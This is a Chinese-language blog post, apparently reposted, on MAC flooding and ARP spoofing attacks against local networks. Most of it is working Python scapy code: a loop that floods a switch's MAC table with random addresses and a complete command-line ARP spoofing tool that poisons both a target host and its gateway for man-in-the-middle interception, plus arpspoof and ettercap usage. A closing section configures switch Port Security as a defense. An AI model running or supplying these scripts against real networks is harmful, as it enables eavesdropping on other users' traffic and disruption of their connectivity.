mac泛洪攻击&arp欺骗(python脚本)

mac地址泛洪攻击

原理:传统的交换机在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关的目的MAC对应的条目,此数据帧将作为广播帧来处理,CAM表的容量有限,只能存储不多的条目,当CAM表记录的MAC地址达到上限时,新的条目将不会添加到CAM表中。

  基于以上原理,某台PC不断发送去往未知目的地地数据帧,且每个包地源MAC地址都不同,当这样地数据包发送地速度足够快之后,快到在刷新时间内将交换机地CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MAC地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此情况下被降级为Hub。交换机降级为hub之后,我们就可以监听所有连接到该交换机的主机的数据了。

此攻击可通过kali上一个工具实现:macof,直接在命令行中输入这个命令就可以了

#mac泛洪攻击脚本
from scapy.all import *
import time

iface = 'eth0'    
try:
    while 1:
        randmac = str(RandMAC())
        randip = str(RandIP())
        packet = Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)
        sendp(packet,iface=iface,loop=0)
        
except KeyboardInterrupt:
    print('/n[+]Stop')

arp sproof(arp欺骗)

原理:通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通

kali下自带的arpspoof工具 arpspoof -i interface -t ip gateway
注意直接在kali中对物理机使用不通,需要关闭物理机防火墙,且需要是桥接模式

利用工具ettercap可实现(kali自带的中间人攻击工具,还支持其它的攻击)
可参考这篇文章 http://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/

#--*--coding=utf-8--*--

from scapy.all import *
import optparse
import threading

#解决在linux系统上运行时报的unicode编码相关错误
import sys
reload(sys)
sys.setdefaultencoding('utf-8')


def getMac(tgtIP):
    '''
    调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
    '''
    try:
        tgtMac = getmacbyip(tgtIP)
        return tgtMac
    except:
        print '[-]请检查目标IP是否存活' 

def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
    '''
    生成ARP数据包,伪造网关欺骗目标计算机
    srcMac:本机的MAC地址,充当中间人
    tgtMac:目标计算机的MAC
    gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
    tgtIP:目标计算机的IP
    op=2,表示ARP响应
    '''
    pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
    return pkt

def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
    '''
    生成ARP数据包,伪造目标计算机欺骗网关
    srcMac:本机的MAC地址,充当中间人
    gatewayMac:网关的MAC
    tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
    gatewayIP:网关的IP
    op=2,表示ARP响应
    '''
    pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
    return pkt


def main():
    usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
    parser = optparse.OptionParser(usage,version='v1.0')
    parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP')
    parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP')
    parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡')
    parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗')
    
    options,args = parser.parse_args()
    tgtIP = options.targetIP
    gatewayIP = options.gatewayIP
    interface = options.interface
  
    if tgtIP == None or gatewayIP == None or interface == None:
        print parser.print_help()
        exit(0)
    
    srcMac = get_if_hwaddr(interface)
    print '本机MAC地址是:',srcMac
    tgtMac = getMac(tgtIP)
    print '目标计算机MAC地址是:',tgtMac
    gatewayMac = getMac(gatewayIP)
    print '网关MAC地址是:',gatewayMac
    raw_input('按任意键继续:')


    pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
    pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)

   
    i = 1
    while True:
        t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
        t.start()
        t.join()
        print str(i) + ' [*]发送一个计算机ARP欺骗包'
       
        s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
        s.start()
        s.join()
        print str(i) + ' [*]发送一个网关ARP欺骗包'
        i += 1       
        
            

if __name__ == '__main__':
    main()
防御

将交换机开启Port Security功能,其有如下作用,b功能可以防御arp sproof

a.MAC Flood 当特定接口设定的MAC table满的时候产生violation
b.当一个MAC地址在同一个VLAN里边的两个不同接口学到的时候产生violation

  1. Port Security的默认行为
    a.所有的接口Port Security功能是disable的
    b.默认每一个接口最大MAC地址容量为一个
    c.默认violation是shutdown
  2. 三种violation方式
    a.shutdown 使接口处于errordisable状态,并且告警
    b.restrict 丢掉违规数据包,并且告警
    C.protect 悄无声息的丢弃数据包,不产生告警

配置:

1.[Quidway-Ethernet0/0/1]port-security enable
2.[Quidway-Ethernet0/0/1] port-security mac-address sticky
3.[Quidway-Ethernet0/0/1] port-security protect-action protect
4.[Quidway-Ethernet0/0/1] port-security max-mac-num 20

猜你喜欢

转载自www.cnblogs.com/GH-D/p/11311026.html